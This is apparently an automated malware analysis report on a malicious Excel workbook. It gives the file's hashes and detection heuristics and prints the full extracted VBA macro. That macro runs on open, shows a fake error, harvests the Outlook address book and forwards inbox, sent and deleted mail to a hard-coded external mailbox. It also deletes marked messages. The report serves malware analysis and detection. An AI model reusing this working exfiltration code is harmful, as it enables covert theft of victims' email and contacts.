Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e412e2cb8e3ebf13…

MALICIOUS

Office (OLE)

35.5 KB Created: 2002-01-08 15:14:08 Authoring application: Microsoft Excel First seen: 2012-07-06
MD5: 02d43096ee6dc420ee30fccd2a1f9b31 SHA-1: 62440c5bbaddde1964adb7bc160246f1832ab75d SHA-256: e412e2cb8e3ebf139f953bc9ce504207c003cd4c859cabfc5ef8bc75175fc207
188 Risk Score

Heuristics 5

  • ClamAV: Doc.Dropper.Agent-1559763 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-1559763
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA email-worm self-replication (Outlook mass-mailer) critical OLE_VBA_EMAIL_WORM_SELF_REPLICATION
    VBA macro drives Outlook to mass-mail itself: it automates Outlook.Application, programmatically creates a mail item, and spreads by harvests recipients from the MAPI address book / inbox, sends the message programmatically. Harvesting recipients from the address book / inbox and auto-attaching the carrier to outgoing messages is the defining behavior of the Melissa / LoveLetter / W97M mass-mailer worm lineage — there is no benign document use, independent of any AV signature.
    Matched line in script
        Set objMail = objOutlook.CreateItem(olMailItem)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set objOutlook = CreateObject("Outlook.Application")
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7871 bytes
SHA-256: 671ab30ffaceb5cd13189f2495b552f995a1fa3a768d7658cac3b57b0fd71b8d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Const mstrRAIZ = "C:\"
Private Const mstrCOD = ",."
Private Const mstrBOX = "omarvelt@hotmail.com"

Private objOutlook As Object

Sub Main()
    Dim pobj As Object
    Dim pobjdoc As Object
    Dim pVect As Variant
    
    MsgBox "Error TR:194, File not found. Search Macros.", vbOKOnly + vbCritical, "Windows"

    Set objOutlook = CreateObject("Outlook.Application")

    LibretaDirecciones

    Bandejas

    Set objOutlook = Nothing
    
End Sub

Sub LibretaDirecciones()
    On Error Resume Next
    
    Dim pobjNameSp  As Object
    Dim pobjAddr    As Object
    Dim AddrEmail   As Object
    Dim pstrAdr     As String
    Dim ind         As Long
    
    Set NameSp = objOutlook.GetNamespace("MAPI")
    
    Set pobjAddr = NameSp.AddressLists
    
    For Each AddrEmail In pobjAddr
    
        If AddrEmail.AddressEntries.Count > 0 Then
        
            pstrAdr = vbNullString
            
            For ind = 1 To AddrEmail.AddressEntries.Count
            
                pstrAdr = pstrAdr & ";" & AddrEmail.AddressEntries.Item(ind).Address
                pstrAdr = pstrAdr & "(" & AddrEmail.AddressEntries.Item(ind).Name & ")" & vbCrLf
                
            Next
            
        End If
        
        Enviar "Libreta de Direcciones", pstrAdr
        
        'Tomar unicamente la primera Libreta de Direcciones
        Exit Sub
        
    Next
    
End Sub

Sub Enviar(pstrSubject As String, pstrBody As String)
    On Error Resume Next

    Dim objMail As Object

    Set objMail = objOutlook.CreateItem(olMailItem)

    objMail.To = mstrBOX
    objMail.Subject = pstrSubject
    objMail.Body = pstrBody

    objMail.DeleteAfterSubmit = True
    objMail.Send

    Set objMail = Nothing
    
End Sub

Private Sub Bandejas()
    On Error Resume Next
    
    Dim myNameSpace     As Object
    Dim pobjBEntrada    As Object
    Dim pobjBEnviados   As Object
    Dim pobjBElim       As Object
    Dim pobjMailItem    As Object
    Dim pstrBody        As String
    Dim ind             As Long
    Dim nMails          As Long
   
    Set myNameSpace = objOutlook.GetNamespace("MAPI")
    Set pobjBEntrada = myNameSpace.GetDefaultFolder(6)
    Set pobjBEnviados = myNameSpace.GetDefaultFolder(5)
    Set pobjBElim = myNameSpace.GetDefaultFolder(3)
    
    pstrBody = vbNullString
    nMails = 0
    
    'Bandeja de Entrada
    For ind = 1 To pobjBEntrada.Items.Count
    
        Set pobjMailItem = pobjBEntrada.Items(ind)
        
        If InStr(1, pobjMailItem.Subject, mstrCOD, vbTextCompare) > 0 Then
        
            pobjMailItem.Delete
            
        Else
        
            If pobjMailItem.Attachments.Count > 0 Then
               
                pobjMailItem.To = mstrBOX
                pobjMailItem.DeleteAfterSubmit = True
                pobjMailItem.Send
                
            Else
            
                pstrBody = pstrBody & " -------------------------------- MAIL " & ind & vbCrLf
                pstrBody = pstrBody & " -- Asunto: " & pobjMailItem.Subject & vbCrLf & vbCrLf
                pstrBody = pstrBody & pobjMailItem.Body & vbCrLf & vbCrLf
                
                nMails = nMails + 1
                
                If nMails > 10 Then
                
                    Enviar "Bandeja de Entrada - Mails sin Adjuntos", pstrBody
                    
                    pstrBody = vbNullString
                    
                    nMails = 0
                
                End If
            
            End If
            
        End If
        
        Set pobjMailItem = Nothing
        
    Next ind
    
    If nMails > 0 Then Enviar "Bandeja de Entrada - Mails sin Adjuntos", pstrBody
    
    pstrBody = vbNullString
    nMails = 0
    
    'Elementos Enviados
    For ind = 1 To pobjBEnviados.Items.Count
    
        Set pobjMailItem = pobjBEnviados.Items(ind)
        
        If pobjMailItem.Attachments.Count > 0 Then
        
            pobjMailItem.To = mstrBOX
            'pobjMailItem.DeleteAfterSubmit = True
            pobjMailItem.Send
            
        Else
        
            pstrBody = pstrBody & " -------------------------------- MAIL " & ind & vbCrLf
            pstrBody = pstrBody & " -- Asunto: " & pobjMailItem.Subject & vbCrLf & vbCrLf
            pstrBody = pstrBody & pobjMailItem.Body & vbCrLf & vbCrLf
            
            nMails = nMails + 1
            
            If nMails > 10 Then
            
                Enviar "Elementos Enviados - Mails sin Adjuntos", pstrBody
                
                pstrBody = vbNullString
                
                nMails = 0
            
            End If
        
        End If
        
        Set pobjMailItem = Nothing
        
    Next ind
    
    If nMails > 0 Then Enviar "Elementos Enviados - Mails sin Adjuntos", pstrBody
    
    pstrBody = vbNullString
    nMails = 0
    
    'Elementos Eliminados,
    For ind = 1 To pobjBElim.Items.Count
    
        Set pobjMailItem = pobjBElim.Items(ind)
        
        If InStr(1, pobjMailItem.Subject, mstrCOD, vbTextCompare) > 0 Then
        
            pobjMailItem.Delete
            
        Else
        
            If pobjMailItem.Attachments.Count > 0 Then
               
                pobjMailItem.To = mstrBOX
                'pobjMailItem.DeleteAfterSubmit = True
                pobjMailItem.Send
                
            Else
            
                pstrBody = pstrBody & " -------------------------------- MAIL " & ind & vbCrLf
                pstrBody = pstrBody & " -- Asunto: " & pobjMailItem.Subject & vbCrLf & vbCrLf
                pstrBody = pstrBody & pobjMailItem.Body & vbCrLf & vbCrLf
                
                nMails = nMails + 1
                
                If nMails > 10 Then
                
                    Enviar "Elementos Eliminados - Mails sin Adjuntos", pstrBody
                    
                    pstrBody = vbNullString
                    
                    nMails = 0
                
                End If
            
            End If
            
        End If
            
        Set pobjMailItem = Nothing
        
    Next ind
    
    If nMails > 0 Then Enviar "Elementos Eliminados - Mails sin Adjuntos", pstrBody
    
    Set pobjBEntrada = Nothing
    Set myBEnviados = Nothing
    Set myBElim = Nothing
    
End Sub

Private Sub Workbook_Open()
    Main
End Sub

Attribute VB_Name = "Hoja1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Hoja2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Hoja3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Open this report in the interactive analyzer, or submit your own file for analysis.